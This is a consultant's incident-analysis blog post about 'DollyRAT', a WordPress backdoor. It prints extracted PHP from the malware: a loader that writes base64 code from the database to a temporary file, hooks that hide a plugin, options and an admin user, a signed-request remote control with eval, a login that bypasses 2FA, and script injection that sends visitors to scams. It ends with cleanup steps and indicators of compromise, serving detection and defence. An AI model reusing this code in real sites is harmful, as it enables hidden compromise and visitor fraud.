2022-05-23 11 minutes

DollyRAT: Sophisticated WordPress RAT

Dolly's way to World Domination.


We have found a stealthy WordPress RAT we named DollyRAT, which

  • has C2 functionality to load new targets
  • allows remote access to the website, executing code
  • allows login as an administrator, effectively bypassing Wordfence 2FA
  • delivers malicious JavaScript to endusers of the website
  • resulting in scams like "Accept Notifications to show you're not a robot" and more

In the last few weeks, I consulted on an incident, where > 10 WordPress sites were hacked. There were many low-effort webshells ("Giev Param, I'll execute it") present, with easy-to-find strings that were also picked up by Wordfence.

What we didn't find was any requests to these webshells in any of the access logs. Strange. Also, no suspicious behaviour in there. Logging into the WordPress backend, We also didn't see any maliciously created users, posts or plugins. Of course, you can't believe the WordPress backend on this one.

As the administrative user created by the RAT has never logged in and we did not find evidence of 'manual' activities on the pages we analyzed, we conclude that delivering these scams to users is the main goal.

The existence of a cron job always loading new targets also hint to a scheme where websites are hacked, infected with Dolly RAT and then added to a botnet of sites which is mainly used to deliver other forms of payloads and scams.

Finding Dolly

Something that struck me as odd was a strange plugin we found in the filesystem of each of the websites we had a look at. I did review the source code briefly, but concluded that it was not malicious. Also, Wordfence would have deleted it if it was, right?


Searching the Database

The way we found this RAT then was completely by accident to be honest. I was looking through the option_names in WordPress' wp_options table, when two struck out: bbat (no clue what this is supposed to be) and source_file. I had a look at the value of bbat and immediately knew I struck gold. Its value was file_put_contents. Someone tried to hide malicious functionality from me, and nearly was successful.

With this, the rest of the pieces fell into place. And honestly, I was amazed by the complexity and thought put into this malware. My spidey-senses were activated. This was going to be much more fun than the 'stupid' webshells we have seen before.

During our research, we tried to find articles on this particular malware, but only came up with one article from Trend Micro, which classifies it as Backdoor.PHP.DOLLYWAY.A. It has some information, but was not technical enough. We hope this post can help some of you during an incident.


The RAT itself has two parts: A non-malicious-looking plugin, and malicious code stored in the database. Let's have a look at them both.

The (non-)malicious Plugin

The plugins used to obfuscate the real malware look like they have been copied together with methods belonging to different plugins and themes (many of them not supported anymore) to create an innocent-looking php file someone might have installed at some point. It includes code like:

function player_visibility(){
	$sfsi_form_border = get_option('scannedTheme');
	$tmp_dst_h = get_option('formBuilderEnableAC');
	$arrowVisibility = $sfsi_form_border($tmp_dst_h(),'wp');

	if(strlen($arrowVisibility) < 5){
		$arrowVisibility = '=====' . $arrowVisibility;
	return 	$arrowVisibility;

Just some PHP code loading some WordPress options, with no intent to... I don't know... world domination? Detailed inspection might lead to the conclusion that one has no idea what the intention of this piece of code is. But now knowing some malicious option_names, we could have a look at what the code in this plugin really does. Below the extracted malicious parts of the plugin file:

# file_put_contents
$postMap = get_option('bbat');
# [...]

# returns a filename for a temporary file
function player_visibility(){
	# tmpnam
	$sfsi_form_border = get_option('scannedTheme');
	# sys_get_temp_dir
	$tmp_dst_h = get_option('formBuilderEnableAC');
	# tempnam(sys_get_temp_dir, 'wp')
	$arrowVisibility = $sfsi_form_border($tmp_dst_h(),'wp');

	# if filename is shorter than 5
	if(strlen($arrowVisibility) < 5){
		$arrowVisibility = '=====' . $arrowVisibility;
	return 	$arrowVisibility;
# [...]

# returns the malicious part of Dolly RAT as string
function the_children(){
	# <?php
	$mb_fb_url = get_option('overlay_tag'); 

    # dolly code
	$referrer_urls = get_option('source_file'); 

    # b64 decode
	$current_translation_upgrade = get_option('merge_vars_error_array'); 
	$benign_strings =  $mb_fb_url. "\n";
	$benign_strings = $benign_strings . $current_translation_upgrade($referrer_urls);
	return $benign_strings;

# [...]

# writes the DollyRAT to a temporary file
# $postmap = file_put_contents
# $run_filter = tempfile sys temp dir
# the_children = the source code
$shy_replacement_char = $postMap($run_filter,the_children());

# [...]
# then, include it
if ($shy_replacement_char) {
	require_once $run_filter;

With the malicious part now loaded, let's continue with our analysis.

The malicious part: DollyRAT

When base64-decoding the malicious code found in source_file of wp_options, we're greeted with the following code:

if(!defined('DOLLY_WAY')){ define('DOLLY_WAY', 'World Domination');}

Aah yes, it was about world domination all along! Just a few lines after this, DollyRAT unlinks itself, effectively leaving no trace in the filesystem. This is probably as 'in-memory' as it gets for WordPress malware.


But you can't dominate the world if you're hacking WordPress sites too obviously, so Dolly needs some functionality to hide its activities:

  1. Hide the plugin, which loads DollyRAT for each request made to the website
  2. Hide other activity – for example an administrative user
  3. Hide anything created by the RAT (Posts, Options)
  4. Stops Wordfence scans from running (We didn't analyze this, so this could also be because of other factors)

For this, the DollyRAT hooks into some WordPress filters and hooks:

function get_hello_file(){
	$plug_name = get_option('child_form');
	return $plug_name . '/' . $plug_name . '.php';

add_filter( 'all_plugins', 'filter_function_name_hello' );
function filter_function_name_hello( $all_plugins ){
	$plug = get_hello_file();			
	return $all_plugins;

add_filter( 'admin_print_footer_scripts', 'disable_plugin_select' );
function disable_plugin_select( $actions ){

	$plug = get_hello_file();
	<script type="text/javascript">
		$("#plugin option[value='<?php echo $plug; ?>']"). remove();

add_filter( 'admin_print_footer_scripts', 'hide_dolly' );
function hide_dolly ( $actions ){

	<script type="text/javascript">

		$('tr:contains("child_form")'). remove();
		$('tr:contains("zip_folder_name")'). remove();
		$('tr:contains("team_filter_scroll_top")'). remove();
		$('tr:contains("role_required")'). remove();
		$('tr:contains("isCaseSensitive")'). remove();
		$('tr:contains("source_file")'). remove();
		$('tr:contains("merge_vars_error_array")'). remove();
		$('tr:contains("bbat")'). remove();
		$('tr:contains("scannedTheme")'). remove();
		$('tr:contains("formBuilderEnableAC")'). remove();
		$('tr:contains("thirdPartyCategoriesElements")'). remove();
		$('tr:contains("acx_csma_logo_text_color1")'). remove();
		$('tr:contains("overlay_tag")'). remove();

function yoursite_pre_user_query($user_search) {
   global $current_user;
   if ( ! empty( $current_user ) ) {
		$username = $current_user->user_login;
		if ($username != '1e66a295e6') { 
			global $wpdb;
			$user_search->query_where = str_replace('WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '1e66a295e6'",$user_search->query_where);

function dt_list_table_views($views){
   $users = count_users();
   $admins_num = $users['avail_roles']['administrator'] - 1;
   $all_num = $users['total_users'] - 1;
   $class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current";
   $class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current";
   $views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_adm . '">' . translate_user_role('Administrator') . ' <span class="count">(' . $admins_num . ')</span></a>';
   $views['all'] = '<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>';
   return $views;
add_filter("views_users", "dt_list_table_views");

Having a look at the code above, some things become obvious:

  1. This thing is /really/ stealthy: It even manipulates the user count in the WordPress backend to hide its administrative user!
  2. the hide_dolly function shows exactly the option_names used for its functionality – we can build a list of indicators of compromise (IOC for short) from this (see appendix)

Remote Access: Controlling a WordPress site

Okay, at this point we've probably done everything we can in WordPress to stay hidden. Time to control the hacked website. For this, Dolly includes an elaborate set of checks and functionality. It can:

  • Create, update and delete posts
  • Download post content
  • Create a category
  • Execute code via eval
  • Login as the first user with the role "administrator"

These actions are executed by issuing a POST request – to /wp-admin/admin-ajax.php. This is exactly why we haven't seen any malicious action in the access logs: It was hiding plain sight. POST requests to admin-ajax.php are practically invisible in the noise and are legitimate... most of the time.

For each POST request, Dolly runs the following:

foreach ($_POST as $key => $value) {
	if(88 == strlen($key)){
		if (true === hello_check_sig($key,$value)){

function hello_check_sig($sign,$data){
	$pubkey = '-----BEGIN PUBLIC KEY-----'."\n".'MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKLN9azzu/i/HYvYc+0CW5DViGIuCJbz'."\n".'23skWsSTwkO6wSga7QJU+m0elAll3iGTFOSFzXChhlluOrW6+VVLXb8CAwEAAQ=='."\n".'-----END PUBLIC KEY-----';
	$public_key_res = openssl_get_publickey($pubkey);
	$sign = base64_decode($sign);
	$ok = openssl_verify($data, $sign, $public_key_res, OPENSSL_ALGO_SHA1);
	if($ok == 1){
		return true;
	} else {
		return false;

If the parameter name of the POST body is exactly 88 characters long, Dolly checks the signature of the $data, and then runs hello_action – the main remote management PHP function included in the malware. In there, the following code can be found (among other functionality) to log into a WordPress site as the first administrator of the website:

case "login":
	add_action( 'plugins_loaded', 'hello_login' );
	function hello_login() {
		// get first administrator
		$users = get_users( array(
			'role'   => 'administrator',
		) );
		$ids = wp_list_pluck( $users, 'ID' );
		$id = $ids['0'];

		// set the cookie and redirect to wp-admin
		wp_set_auth_cookie( $id );
		header('Location: wp-admin/');


This is notable, as it circumvents even the 2FA from Wordfence using built-in WordPress functionality. Very clever, I have to admit. This way, the login doesn't show in the security logs of Wordfence, and probably no (we didn't check this) 'admin has logged in'-email is generated as different actions are used than a normal login uses.

The dolly_event cron job

DollyRAT also creates a new cronjob, which runs on a daily basis. It updates an internal 'target' list saved – in our case – to the team_filter_scroll_top option. The contents is simply a serialized PHP array:


In there, we can find a lot of other hacked wordpress sites. DollyRAT was very active, apparently. Every time dolly_event runs, it accesses the nodes one by one, loads a data.txt from there, and updates its own target list. We believe this is the main C2 functionality, if no other things need to be done on the webpage via the remote access functionality seen above.

So now DollyRAT is hidden, can control a site, automatically loads new targets... but why? What's the goal?

The goal?

In the code we found the main goal of this malware: To deliver malicious JavaScript to its end users. Whenever a md5-hash (or double-md5-hash) of the original plugin's theme is present in the query string, it adds JavaScript to a page.

However, some conditions need to be met before:

  • The User-Agent is checked against a denylist
  • The user is not logged into the site
  • Things like localhost or are not present in $_SERVER['QUERY_STRING']

If these conditions are met, DollyRAT loads one of the nodes from it's target list, and enqueues JavaScript to load a counts.php with some parameters:

// encodes the http host, apparently for some kind of verification
$t_h = dolly_encode($_SERVER['HTTP_HOST']);
// gets target list
$options = unserialize(base64_decode(get_option('team_filter_scroll_top')));
$category = get_option('dolly_category','1');
// loops through three random nodes from it's target list
foreach (array_rand($options['nodes'], 3) as $node) {
	$z = $options['nodes'][$node];
	# e.g. string(51) "//www.marycremin[.]com/wp-content/counts.php?cat=1&t=<some verification thingy>"
	$zz = $z . 'counts.php?cat=' . $category . '&t=' . $t_h;

	# [...]
	# adds a script-tag with source $zz

The JavaScript loaded then redirects the user to scam-domains like take-yourprizes[.]life. This ends in the classics: from "You've won an iPhone" to "Allow Notifications to show you're not a robot". We concluded our analysis at this point, as looking at various scams might be funny and a guilty pleasure of mine, but ultimately yields no further information helping the incident at hand.


To clean a website from DollyRAT, one should:

  • Delete the plugin it added: This should effectively kill the RAT's functionality
  • Delete the created administrative user: The user is not visible in the WordPress admin backend, so make sure you have a look at the database as well
  • Delete the wp_options values used by DollyRAT: A simple way to find some of the values is to run the following SQL query: SELECT * FROM wp_options WHERE option_id > (select option_id from wp_options where option_value='file_put_contents') - 10 and option_id < (select option_id from wp_options where option_value='file_put_contents') + 10;. This might include some real options used by the website, so make sure you double-check the results of this query.
  • Remove the cron job named dolly_event
  • Reset all user passwords
  • Cycle all secrets used by the website
  • Run an antivirus scan on your site with maximum sensivitity. DollyRAT might not be detected, but other webshells and persistence mechanisms will be.
  • Conduct an investigation on how the site was originally hacked. The DollyRAT is the symptom, not the cause

Also, if you need help cleaning your site, or need some more information on the functionality or technical detail, please don't hesitate to contact me at contact@martinhaunschmid.com

Indicators of Compromise

Here are some IOCs we found.

Plugin Names

multisite-directory cpt-single-redirects insert-into-woocommerce champis-net cp-companion rapo-recent-custom-posts-widget made-in-icon-widget precise-plugin-updater featured-image-admin-thumb-fiat edd-netbanx-gateway paystack-for-give cs-add-featured-image-to-rss-feed min-and-max-quantity-rule-for-woocommerce cusmin-themes pod-marketing-analytics wp-gcalendar now-you-see-me brand-my-footer automatic-grid-image-listing kantbtrue-content-bottom-ads solvease-collapsible-user-profile-list-display recipe-rich-pins-ziplist hot-category-news

wp_option Names

ays_exit_button dayPosition dtend2 get_height insta_widget mainOptionsPage new_weights nowisnow selected_provider slides_id_array wsl_path actionOnClose defaultAtoms englishTranslation ew_error fieldElement leadStatus mCurrent show_child_pages style_start tooltip_html_class voice_count _cache_uri arrayofvalues et_logoImages hestia_features_title_control Mark1Array mpp_instruction payment_var startPeriod tokenFieldName wcps_query_orderby WooCommerce_Unpaid_Order_Status _image_filmstrip_height _transient_doing_cron aXPaths catopts field_other foobox_free_info fp_temp_tar idOrUrl ImageCreateFunction new_words prefixed_key woocommerce_wcfmmp_product_shipping_by_zone_settings acx_csma_logo_text_color1 bbat child_form formBuilderEnableAC isCaseSensitive merge_vars_error_array overlay_tag scannedTheme source_file team_filter_scroll_top thirdPartyCategoriesElements _site_transient_update_plugins _site_transient_update_themes _transient_doing_cron current_notifications current_val device_data fields_positions hide_filters manuallyProvidedAttributes max_emails oldSendingMethod seconds_to_show typenl xml_settlement _site_transient_jet_dashboard_license_expire_check _site_transient_timeout_jet_dashboard_license_expire_check _transient_doing_cron _transient_timeout_wpml-tm-ate-api-cache _transient_wpml-tm-ate-api-cache aAllowedTags atts2 disable_scaling image_max_width knowndisputedId locationState random reaction_check retinasOpt SqliteDir sWhitelistParam _global_ns cb_address_control chosen_js imgtotal instagram_feed_type is_beside nhash previous_subject returnHTMLinsideProc xml_db_results_module xsub css_label fileHelper group_capabilities_array import_source new_op oauthClientId opt_migrate_youtube orderMaxDate saved_formats tableUnprefixed Target blob blog_style_img_font_family buttonclass3 convertResponseArray newEntity product_questions replace_modifiers staleness supported_posts u_prefix wcfm_knowledgebase_messages enable_fa_pro folder_file get_attached_location_with_menu keepBasic mergeFieldKey mog_img prod_field_names reverse_children taglist thisColHoverOption xmlRootName _transient_doing_cron category_level ChainPosClassSetOffset currentActions isForwardedValid latest_event number_of_backups_from_user parsed_token_1 permalink_template property_agent rewrite_values wte_usermeta_name catRow contact_information_controller country_groups hubCategories initialToken menu_section_ids orintation sFieldIDPrefix sitemap_option version_subparts WYLaudio admin_para assetHost default_msg default_selected post_id_nonce sfb_style sTestString thumbnail_status trackingArr TrackingScriptsField transferDecoderCommands _promotion bFa completed_updates ctf_statuses_option empty_table icon_fonts new_platform parenthetical tempExt v_method_name vid_added ch do_not_remove_images fdBoundingPoly filters_media logo_text lyrics nutrition relevance_title_like seo_post_type suppress_version_number_update vendor_details cb_city_control core_props filter_has_list footer_text giving_level imageCfiRangeType key_for_persistance message_translated nav_settings normalized_post_type_options parentOpener _transient_dash_v2_88ae138922fe95674369b1cb3d215a2b _transient_doing_cron _transient_global_styles_hello-elementor _transient_timeout_dash_v2_88ae138922fe95674369b1cb3d215a2b _transient_timeout_global_styles_hello-elementor amendedDebtorAgent bcountry comment_delimiter global_email_options one_time ptab setloc single_field_data_id to_purchase wc_templates xpath_elements __warningDataType _rawBuffer attempts_number create_lock curlabel getid3_ogg level_count max_registrations_text swl uploadContinue wphi_templates applicableOptionNames aUser ffamily liclass live_example numeric_params set_metadesc stabilityModifier sun_set surviving_cookies WriteLabels _aJSArray canonicalIds option_setting ordered_packages shortVersion sql_pfhub_portfolio_grids textarea_ph title_compare type_of_update wassupmenu woo_cate_product_cate_text_hover_color _site_transient_update_plugins _site_transient_update_themes _transient_doing_cron _transient_hmbkp_schedules _transient_timeout_hmbkp_schedules ad2_node content_after_menu_element default_configuration newfile_post old_path_data reqs_met speakers_terms theme_compatible_array tracking_enabled_data usr_data valueElementName

Cron Jobs


Feedback or questions?

Write to me on social media or email:

Don't miss any posts!

Sign up now and receive weekly hacks of the week, as well as new blog posts!

...or directly to the initial consultation:

In the initial consultation, you will get to know me and my philosophy, and we will briefly discuss how I can help you. So you and your company:

  • Become safer
  • Are quickly operational again in extreme cases
  • Don't have to be relieved with every article about hacking, glad that it wasn't you this time
Book a free initial consultation now!